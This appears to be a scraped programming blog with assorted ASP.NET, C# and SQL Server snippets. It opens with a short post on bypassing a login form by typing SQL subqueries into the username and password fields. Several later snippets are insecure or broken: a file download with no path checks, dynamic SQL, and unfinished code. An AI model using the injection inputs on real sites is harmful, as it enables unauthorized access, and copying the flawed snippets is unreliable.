how to hack website using sql injection

if database built by your self if you use this type of query to login and have no validation in your field.

select * from tabelname where username=@username and password=@password and flag=1

then you simply write in username field.

username = (select top 1 username from tabelname where username like 'm%') and

password=(select top 1 password from tabelname where username =(select top 1 username from tabelname where username like 'm%'))

and then the query becomes work like this

select * from tabelname where username=(select top 1 username from tabelname where username like 'm%')
and password=(select top 1 password from tabelname where username =(select top 1 username from tabelname where username like 'm%'))
and flag=1

*************************************************************************************
select * from tableABC where userid=(select top 1 userid from tableABC where userid like 'm%') and
userpwd =(select  top 1 userpwd from tableABC where userpwd like 'v%')

username=(select top 1 userid from tableABC where userid like 'm%')
password=(select  top 1 userpwd from tableABC where userpwd like 'v%')

Call popup in grid

open pop by function in grid uesing javascript.
 protected void Grid_Author_RowDataBound(object sender, GridViewRowEventArgs e)
    {
        if (e.Row.RowType == DataControlRowType.DataRow)
        {
            e.Row.Cells[8].Attributes.Add("onclick", "return ConfirmDeletion();");
        }
        if (e.Row.RowType == DataControlRowType.DataRow)
        {
            e.Row.Cells[6].Attributes.Add("onclick", "return popup("+ Grid_Author.DataKeys[e.Row.RowIndex].Value +");");
        }
    }

<script language="javascript" type="text/javascript">
function ConfirmDeletion()
{
return confirm('Are you sure you want to delete this record?');
}
function popup(getID)
{
window.open('Detail.aspx?AuthorID='+getID,'BaseWork','dialogWidth:120px;');
}
</script>
set grid property DataKeyNames=sno,title,.......
  e.Row.Cells[6].Attributes.Add("onclick", "return popup("+ Grid_Author.DataKeys[e.Row.RowIndex].Values[1] +","+Grid_Author.DataKeys[e.Row.RowIndex].Values[2] +");");

Online seo on CS page by C# code

//***********Page Title **********************************************************
        Page.Title = dr["Book_name"].ToString();
        //*********************************************************************

void _HtmlMetaTags()
    {
        HtmlMeta myMetaKeyWords = new HtmlMeta();
        HtmlMeta myMetaDescription = new HtmlMeta();
        HtmlMeta myMetaRobot = new HtmlMeta();
        HtmlMeta HTTP_EQUIV = new HtmlMeta();
        myMetaKeyWords.Name = "keywords";
        myMetaKeyWords.Content = "Non-Retail Social Investor, Institutional investor Lender, Not-For-Profit Institutions, CapitalConnect, Social Enterprise, Private Placement Market, Start-up Enterprises, exit option, Social Investment Trends, Double Bottomline, Private Equity management";
        myMetaDescription.Name = "Description";
        myMetaDescription.Content = "Social enterprise is an organisations that run Non-Retail Social Investor, Institutional investor Lender, Not-For-Profit Institutions.";
        myMetaRobot.Name = "robots";
        myMetaRobot.Content = "index,follow";
        HTTP_EQUIV.HttpEquiv = "Content-Type";
        HTTP_EQUIV.Content = "text/html; charset=iso-8859-1";
        Page.Header.Controls.Add(myMetaKeyWords);
        Page.Header.Controls.Add(myMetaDescription);
        Page.Header.Controls.Add(myMetaRobot);
        Page.Header.Controls.Add(HTTP_EQUIV);
    }

file download code in C#

 #region File download
    private void forceDownload(string filePath, bool forceDownload)
    {
        try
        {
            string path = MapPath(filePath);
            string name = Path.GetFileName(filePath);
            string extension = Path.GetExtension(filePath);
            string contentType = string.Empty;
            switch (extension.ToLower())
            {
                case ".jpg":
                    contentType = "image/JPEG";
                    break;
                case ".gif":
                    contentType = "image/GIF";
                    break;
                case ".html":
                case ".htm":
                    contentType = "image/HTML";
                    break;
                case ".pdf":
                    contentType = "Application/pdf";
                    break;
                case ".doc":
                case ".rtf":
                    //for Microsoft Word files
                    contentType = "Application/msword";
                    break;
                case ".xls":
                    //for Microsoft Excel files
                    contentType = "Application/x-msexcel";
                    break;
                case ".txt":
                    contentType = "text/plain";
                    break;
            }

            if (forceDownload)
            {
                Response.AppendHeader("content-disposition", "attachment; filename=" + name);
            }
            if (contentType != string.Empty)
                //Set the appropriate ContentType.
                Response.ContentType = contentType;
            //Write the file directly to the HTTP content output stream.
            Response.WriteFile(path);
            Response.End();
        }
        catch (Exception errmsg)
        {
            Response.Write(errmsg.Message.ToString());
        }
    }
    #endregion
    protected void LinkButtonDownLoad_Click(object sender, EventArgs e)
    {
        string filePath = ".\\uploadData\\" + LinkButtonDownLoad.Text.Trim();
        if (File.Exists(Server.MapPath(filePath)))
        {
            forceDownload(filePath, true);
        }
        else
        {
            ClientScript.RegisterStartupScript(this.GetType(), "onload", "alert('Sorry, file not found!');", true);
        }
    }
}

Call Java Script function on cs page

<script language="javascript" type="text/javascript">
function ConfirmDeletion()
{
return confirm('Are you sure you want to delete this record?');
}
</script>


if (e.Row.RowType == DataControlRowType.DataRow)
        {
            e.Row.Cells[7].Attributes.Add("onclick", "return ConfirmDeletion();");
        }

Ues of Fieldset in aspx page

<fieldset>
                            <legend>test name of heading</legend>
                                <table bgcolor="#f3e8d4" style="position: relative" width="100%">
                                    <tr>
                                        <td colspan="6" style="height: 15px" bgcolor="#ddc89d">
                                        </td>
                                    </tr>
                                    <tr>
                                        <td style="width: 179px; height: 15px">
                                            <span class="textbg">New Arrivals:</span></td>
                                        <td style="width: 389px; height: 15px">
                                            <asp:CheckBox ID="cbox_new" runat="server" Style="position: relative" /></td>
                                        <td style="width: 100px; height: 15px">
                                            Forthcoming:</td>
                                        <td colspan="3" style="height: 15px">
                                            <asp:CheckBox ID="cbox_for" runat="server" Style="position: relative" /></td>
                                    </tr>
                                    <tr>
                                        <td style="width: 179px">
                                            Best Sellers:</td>
                                        <td style="width: 389px">
                                            <asp:CheckBox ID="cbox_sell" runat="server" Style="position: relative" /></td>
                                        <td style="width: 100px">
                                            Hot Buys:</td>
                                        <td colspan="3">
                                            <asp:CheckBox ID="cbox_hot" runat="server" Style="position: relative" /></td>
                                    </tr>
                                    <tr>
                                        <td style="height: 15px;" colspan="5">
                                            If Other Language:
                                            <asp:DropDownList ID="ddl_other" runat="server" Style="position: relative" CssClass="box">
                                                <asp:ListItem Selected="True" Value="">Select</asp:ListItem>
                                                <asp:ListItem Value="1">YES</asp:ListItem>
                                                <asp:ListItem Value="0">NO</asp:ListItem>
                                            </asp:DropDownList>
                                            <asp:RequiredFieldValidator ID="val_lang" runat="server" ControlToValidate="ddl_other"
                                                ErrorMessage="Please select language." ForeColor="" Style="position: relative"></asp:RequiredFieldValidator></td>
                                        <td style="width: 100px; height: 15px;">
                                        </td>
                                    </tr>
                                    <tr>
                                        <td style="width: 179px">
                                        </td>
                                        <td style="width: 389px">
                                        </td>
                                        <td style="width: 100px">
                                        </td>
                                        <td style="width: 100px">
                                        </td>
                                        <td style="width: 100px">
                                        </td>
                                        <td style="width: 100px">
                                        </td>
                                    </tr>
                                </table>
                                </fieldset>

paging in DataList by stored procedure in SQL

CREATE procedure getQueryPageitems
 @totalItemCount int,       
 @pageNumber int,       
 @pageSize int       
as       
declare @numberOfItemToSelectForPage int       
declare @totalItemsToSel int   
declare @query nvarchar(4000)       
if(@pageSize*@pageNumber <= @totalItemCount)       
begin        
 set @numberOfItemToSelectForPage = @pageSize       
 set @totalItemsToSel = @pageSize*@pageNumber       
end       
else       
begin        
 set @numberOfItemToSelectForPage =  @totalItemCount - (@pageSize*(@pageNumber -1))      
 set @totalItemsToSel = @totalItemCount       
end   
begin
select  @query = 'select * from(select top ' + cast(@numberOfItemToSelectForPage as varchar(10))       
 + ' * from (select top ' + cast(@totalItemsToSel as varchar(10))        
+ ' * from (select * from  Query where Leedflag=1) tbl1       
    order by EntryDate desc)tabl2   order by EntryDate asc)tbl3   order by EntryDate desc'
end  
--print @query       
exec (@query)

GO

Bind Year in C#

#region BINDYEAR
    private void BINDYEAR()
    {
        try
        {
            int A = 1800;
            for (int i = 0; i < 20; i++)
            {
                ListItem LI = new ListItem();
                LI.Text = Convert.ToInt16(A).ToString();
                LI.Value = A.ToString();
                A=A+1;
                ddl_year.Items.Add(LI);
            }
            ddl_year.Items.Insert(0, "YYYY");
              
        }
        catch (Exception errmsg)
        {
            Response.Write(errmsg.Message.ToString());
        }
    }
    #endregion

Block back option in application by cache

Page load or Page init event

  Response.Cache.SetExpires(DateTime.UtcNow.AddMinutes(-1));

  Response.Cache.SetCacheability(HttpCacheability.NoCache);

  Response.Cache.SetNoStore();

How can manage length of text in C#

 #region DisplayAbout_book()
    public string DisplayAbout_book(object DataItem)
    {
        string About_book = Convert.ToString(DataBinder.Eval(DataItem, "About_book"));
        if (About_book != string.Empty)
        {
            if (About_book.Length > 75)
            {
                About_book = About_book.ToString().Substring(0, 75);
            }
            else
            {
                About_book = About_book.ToString();
            }
        }
        return About_book;
    }
    #endregion

convert multiple space in one space by function in c#

using System;
using System.Collections;
using System.Configuration;
using System.Data;
using System.Linq;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.HtmlControls;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Xml.Linq;
using System.Text;
using System.Text.RegularExpressions;
public partial class SMS_space : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {
    }
    public static string NormalizeWhiteSpace(string S)
    {
        string s = S.Trim();
        bool iswhite = false;
        int iwhite;
        int sLength = s.Length;
        StringBuilder sb = new StringBuilder(sLength);
        foreach (char c in s.ToCharArray())
        {
            if (Char.IsWhiteSpace(c))
            {
                if (iswhite)
                {
                    continue;
                }
                else
                {
                    sb.Append(" ");
                    iswhite = true;
                }
            }
            else
            {
                sb.Append(c.ToString());
                iswhite = false;
            }
        }
        return sb.ToString();
    }
    protected void Button1_Click(object sender, EventArgs e)
    {
        //*********************its also working**********************************
        //string text = NormalizeWhiteSpace(TextBox1.Text);
        //Response.Write(text);
        //******************************8
        Regex r = new Regex(@"\s+");
        // Strip multiple spaces.
        string s3 = r.Replace(TextBox1.Text, @" ");
        Response.Write(s3);    
    }
}

How can ues post method when ues Master page in ASP.NET

When use master page then form tag ues in master page but we want post our page from index.asp to index1.aspx in this case ues this code on cs page.

****************************Page index.aspx.cs************************************
protected void Page_Load(object sender, EventArgs e)
{
HtmlForm TEST;
TEST = (HtmlForm)Master.FindControl("form1");
TEST.Method = "post";
TEST.Action = "index1.aspx";
}

********************************Page index.aspx1.cs*******************************************
string textvalur=request("control name);

User Define function for ID

CREATE  FUNCTION [NewID]()
RETURNS varchar(20)
AS
BEGIN
DECLARE @_ggmvalue varchar(30)
DECLARE @_ggmvalue1 varchar(30)
DECLARE @_ggmvalue2 varchar(20)
DECLARE @_ggmmilisec varchar(5)
DECLARE @lengthmilisec varchar(5)
DECLARE @_TtmPrefix varchar(16)
DECLARE @_TtmSufix int
DECLARE @_TtmId varchar(22)
DECLARE @length int


select @_ggmvalue1=convert(varchar(10),get_ggm(),112)+convert(varchar(10),get_ggm(),108)
select @_ggmmilisec=convert(varchar(10),_ggmPART(ms,get_ggm()))
set @length=Len(@_ggmmilisec)
if(@length<2)
begin
set @_ggmmilisec='000'+@_ggmmilisec
end
if(@length<3 and @length>=2)
begin
set @_ggmmilisec='00'+@_ggmmilisec
end
if(@length<4 and @length>=3)
begin
set @_ggmmilisec='0'+@_ggmmilisec
end
if(@length>=4)
begin
set @_ggmmilisec=@_ggmmilisec
end
select @_ggmvalue=@_ggmvalue1+@_ggmmilisec
select @_ggmvalue2= Replace(@_ggmvalue,':','')
select @_TtmSufix=Number from randomNumber
select @_TtmPrefix=Substring(@_ggmvalue2,3,18)
set @_TtmId=@_TtmPrefix+convert(varchar(6),@_TtmSufix)
return @_TtmId
END
GO

 

How can Use LINQ in C#

Language Integrated Query (LINQ) adds the ability to query objects using .NET languages. The LINQ to SQL object/relational mapping framework provides the following basic features:
LINQ has a power of querying on any source of data, data source could be the collections of objects, database or XML files. We can easily retrieve data from any object that implements the IEnumerable interface. Microsoft basically divides LINQ into three areas and that are give below.

•LINQ to Object {Queries performed against the in-memory data}
•LINQ to ADO.Net
◦LINQ to SQL (formerly DLinq) {Queries performed against the relation database only Microsoft SQL Server Supported}
◦LINQ to DataSet {Supports queries by using ADO.NET data sets and data tables}
◦LINQ to Entities {Microsoft ORM solution}
•LINQ to XML (formerly XLinq) { Queries performed against the XML source}
Tools to create classes (usually called entities) mapped to database tables
Compatibility with LINQ’s standard query operations
The DataContext class, with features such as entity record monitoring, automatic SQL statement generation, record concurrency detection

Code for LINQ**************************

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using pmsContract.entities;
using System.Data.SqlClient;
using System.Data;
using System.Configuration;
using System.Data.Linq;
using System.Data.Linq.Mapping;

namespace pms.Webproject
{
//we have create class usertest and table nam: pms_user

[Table(Name = "pms_user")]//define table name
public class usertest //this is classs
{
[Column]
public string userfname { get; set; } //get or set table fields
[Column]
public string userlname { get; set; }
[Column]
public string useremailID { get; set; }

}

public partial class test : System.Web.UI.Page
{

protected void Page_Load(object sender, EventArgs e)
{
string conn = ConfigurationManager.ConnectionStrings["stringConnection"].ToString();
DataContext db = new DataContext(conn);//Interface between linq or SQL
Table<usertest> pmsusettest = db.GetTable<usertest>();//create object of table
var query = from d in pmsusettest orderby d.userfname select d; //select linq query for data selection.
GridView1.DataSource = query;//provide datasource to gridview
GridView1.DataBind();
}

}
}

What is Triggers ???

Triggers are not new to SQL Server. But prior to SQL Server 2005 triggers were DML triggers, which were raised only when there is an INSERT,UPDATE or DELETE action. A new table, database or user being created raises a DDL event and to monitor those, DDL triggers were introduced in SQL Server 2005.
Sometimes a trigger is referred as a special kind of stored procedure in term of procedural code inside its body. The difference between a trigger and a stored procedure is that a trigger is activated or called when an event happens in a database table, a stored procedure must be called explicitly. For example you can have
some business logic to do before or after inserting a new record in a database table.

INSERT trigger
When an INSERT trigger statement is executed ,new rows are added to the trigger table and to the inserted table at the same time. The inserted table is a logical table that holds a copy of rows that have been inserted.
DELETE trigger
When a DELETE trigger statement is executed ,rows are deleted from the table and are placed in a special table called deleted table.
UPDATE trigger
When an UPDATE statement is executed on a table that has an UPDATE trigger,the original rows are moved into deleted table,While the update row is inserted into inserted table and the table is being updated.

Trigger Example......
We have main table [fig] and we want to create trigger [trgr_logdetails].In this query when insert data in main table [fig] at this movement also fire trigger [trgr_logdetails] and insert data in logical table [trgr_logdetails].

CREATE TRIGGER [trgr_logdetails]
 on [fig]
   AFTER insert
AS
BEGIN
 declare @figID int
 declare @roleID  int
 declare @menuID int
 declare @figcreatedBy nvarchar(100)
 declare @figupdatedBy nvarchar(100)
 declare @rigthscreatedate datetime
 declare @figupdateddate datetime
 declare @rigthsstatus  bit
 declare @tabid   int

 set @figID = (select figID  from inserted)
 set @roleID =(select roleID from inserted)
 set @menuID=(select menuID from inserted)
 set @figcreatedBy=(select  figcreatedBy from inserted)
 set @figupdatedBy=(select  figupdatedBy from inserted)
 set @rigthscreatedate=(select  rigthscreatedate from inserted)
 set @figupdateddate=(select  figupdateddate from inserted)
 set @rigthsstatus=(select  rigthsstatus from inserted)
 set @tabid=(select tabid from inserted)

    -- Insert statements for trigger here
    begin
  INSERT INTO [trgr_logdetails]
           ([figID]
           ,[roleID]
           ,[menuID]
           ,[figcreatedBy]
           ,[figupdatedBy]
           ,[rigthscreatedate]
           ,[figupdateddate]
           ,[rigthsstatus]
           ,[tabid])
     VALUES
           (@figID
           ,@roleID
           ,@menuID
           ,@figcreatedBy
           ,@figupdatedBy
           ,@rigthscreatedate
           ,@figupdateddate
           ,@rigthsstatus
           ,@tabid)
 end
END

Date format in MSSQL

Date Format Standard SQL Statement Sample Output
Mon DD YYYY 1
HH:MIAM (or PM) Default SELECT CONVERT(VARCHAR(20), GETDATE(), 100) Jan 1 2005 1:29PM 1
MM/DD/YY USA SELECT CONVERT(VARCHAR(8), GETDATE(), 1) AS [MM/DD/YY] 11/23/98
MM/DD/YYYY USA SELECT CONVERT(VARCHAR(10), GETDATE(), 101) AS [MM/DD/YYYY] 11/23/1998
YY.MM.DD ANSI SELECT CONVERT(VARCHAR(8), GETDATE(), 2) AS [YY.MM.DD] 72.01.01
YYYY.MM.DD ANSI SELECT CONVERT(VARCHAR(10), GETDATE(), 102) AS [YYYY.MM.DD] 1972.01.01
DD/MM/YY British/French SELECT CONVERT(VARCHAR(8), GETDATE(), 3) AS [DD/MM/YY] 19/02/72
DD/MM/YYYY British/French SELECT CONVERT(VARCHAR(10), GETDATE(), 103) AS [DD/MM/YYYY] 19/02/1972
DD.MM.YY German SELECT CONVERT(VARCHAR(8), GETDATE(), 4) AS [DD.MM.YY] 25.12.05
DD.MM.YYYY German SELECT CONVERT(VARCHAR(10), GETDATE(), 104) AS [DD.MM.YYYY] 25.12.2005
DD-MM-YY Italian SELECT CONVERT(VARCHAR(8), GETDATE(), 5) AS [DD-MM-YY] 24-01-98
DD-MM-YYYY Italian SELECT CONVERT(VARCHAR(10), GETDATE(), 105) AS [DD-MM-YYYY] 24-01-1998
DD Mon YY 1 - SELECT CONVERT(VARCHAR(9), GETDATE(), 6) AS [DD MON YY] 04 Jul 06 1
DD Mon YYYY 1 - SELECT CONVERT(VARCHAR(11), GETDATE(), 106) AS [DD MON YYYY] 04 Jul 2006 1
Mon DD, YY 1 - SELECT CONVERT(VARCHAR(10), GETDATE(), 7) AS [Mon DD, YY] Jan 24, 98 1
Mon DD, YYYY 1 - SELECT CONVERT(VARCHAR(12), GETDATE(), 107) AS [Mon DD, YYYY] Jan 24, 1998 1
HH:MM:SS - SELECT CONVERT(VARCHAR(8), GETDATE(), 108) 03:24:53
Mon DD YYYY HH:MI:SS:MMMAM (or PM) 1 Default +
milliseconds SELECT CONVERT(VARCHAR(26), GETDATE(), 109) Apr 28 2006 12:32:29:253PM 1
MM-DD-YY USA SELECT CONVERT(VARCHAR(8), GETDATE(), 10) AS [MM-DD-YY] 01-01-06
MM-DD-YYYY USA SELECT CONVERT(VARCHAR(10), GETDATE(), 110) AS [MM-DD-YYYY] 01-01-2006
YY/MM/DD - SELECT CONVERT(VARCHAR(8), GETDATE(), 11) AS [YY/MM/DD] 98/11/23
YYYY/MM/DD - SELECT CONVERT(VARCHAR(10), GETDATE(), 111) AS [YYYY/MM/DD] 1998/11/23
YYMMDD ISO SELECT CONVERT(VARCHAR(6), GETDATE(), 12) AS [YYMMDD] 980124
YYYYMMDD ISO SELECT CONVERT(VARCHAR(8), GETDATE(), 112) AS [YYYYMMDD] 19980124
DD Mon YYYY HH:MM:SS:MMM(24h) 1 Europe default + milliseconds SELECT CONVERT(VARCHAR(24), GETDATE(), 113) 28 Apr 2006 00:34:55:190 1
HH:MI:SS:MMM(24H) - SELECT CONVERT(VARCHAR(12), GETDATE(), 114) AS [HH:MI:SS:MMM(24H)] 11:34:23:013
YYYY-MM-DD HH:MI:SS(24h) ODBC Canonical SELECT CONVERT(VARCHAR(19), GETDATE(), 120) 1972-01-01 13:42:24
YYYY-MM-DD HH:MI:SS.MMM(24h) ODBC Canonical
(with milliseconds) SELECT CONVERT(VARCHAR(23), GETDATE(), 121) 1972-02-19 06:35:24.489
YYYY-MM-DDTHH:MM:SS:MMM ISO8601 SELECT CONVERT(VARCHAR(23), GETDATE(), 126) 1998-11-23T11:25:43:250
DD Mon YYYY HH:MI:SS:MMMAM 1 Kuwaiti SELECT CONVERT(VARCHAR(26), GETDATE(), 130) 28 Apr 2006 12:39:32:429AM 1
DD/MM/YYYY HH:MI:SS:MMMAM Kuwaiti SELECT CONVERT(VARCHAR(25), GETDATE(), 131) 28/04/2006 12:39:32:429AM

WebRequest for sending SMS By GET METHOD

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.IO;
using System.Net;
using System.Web.Security;
using System.Web.UI.HtmlControls;


public partial class Default2 : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
SendSms();

}
protected void SendSms()
{
try
{

string userid1 = "test&";
string pass1 = "test&";
string appid1 = "test&";
string subappid1 = "test&";
string contenttype1 = "1&";
string selfid1 = "true&";
string from1 = "test&";
string to1 = "9911964567&";
string text1 = "thanks for visit our site&";
string dlrreq1 = "true&";
string alert1 = "1";
string url = "http://sms gateway url?";
string str_request = "userId=" + userid1 + "pass=" + pass1 + "appid=" + appid1 + "subappid=" + subappid1 + "contenttype=" + contenttype1 + "selfid=" + selfid1 + "from=" + from1 + "to=" + to1 + "text=" + text1 + "dlrreq=" + dlrreq1 + "alert=" + alert1;
WebRequest request = WebRequest.Create(url + str_request);
request.Method = "GET";
request.ContentLength=str_request.Length;
request.ContentType="application/x-www-form-urlencoded";
using (WebResponse response = request.GetResponse())
{
using (Stream stream = response.GetResponseStream())
{
StreamReader sr = new StreamReader(stream);


}

}

HttpWebRequest for sms sending by post method

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.IO;
using System.Net;
using System.Web.Security;
using System.Web.UI.HtmlControls;


public partial class Default2 : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
SendSms();

}
protected void SendSms()
{
try
{

string userid1 = "test&";
string pass1 = "test&";
string appid1 = "test&";
string subappid1 = "test&";
string contenttype1 = "1&";
string selfid1 = "true&";
string from1 = "test&";
string to1 = "9994567831&";
string text1 = "thanks for visit our site&";
string dlrreq1 = "true&";
string alert1 = "1";
string url = "http://smsgateway api url?";
string str_request = "userId=" + userid1 + "pass=" + pass1 + "appid=" + appid1 + "subappid=" + subappid1 + "contenttype=" + contenttype1 + "selfid=" + selfid1 + "from=" + from1 + "to=" + to1 + "text=" + text1 + "dlrreq=" + dlrreq1 + "alert=" + alert1;
string from_sms = "";

StreamWriter sms_writer = null;
HttpWebRequest obj_request = (HttpWebRequest)WebRequest.Create(url + str_request);
obj_request.Method = "post";
obj_request.ContentLength = str_request.Length;
obj_request.ContentType = "application/x-www-form-urlencoded";
sms_writer = new StreamWriter(obj_request.GetRequestStream());
sms_writer.Write(str_request);
sms_writer.Close();
HttpWebResponse obj_response = (HttpWebResponse)obj_request.GetResponse();
using (StreamReader sr = new StreamReader(obj_response.GetResponseStream()))
{
from_sms = sr.ReadToEnd();
sr.Close();
}
}
catch (Exception ex)
{

string str = ex.Message;
lab_mesg.Text = str;
}
}
}

How can convert MySQL database into MSSQL database

How can set identity in table column SQL2008 when data exist in table

Set identity in SQL2008 table column when data exist in table.

1.export data from local server to other server.

2.when select table from one server to other server.

3.Edit mapping option in window.

4.Click this button open window have option Edit SQL.

5.Click EDit SQLand change shema of table and then ok.

6.befor this select enable identity insert/Drop recreate option also.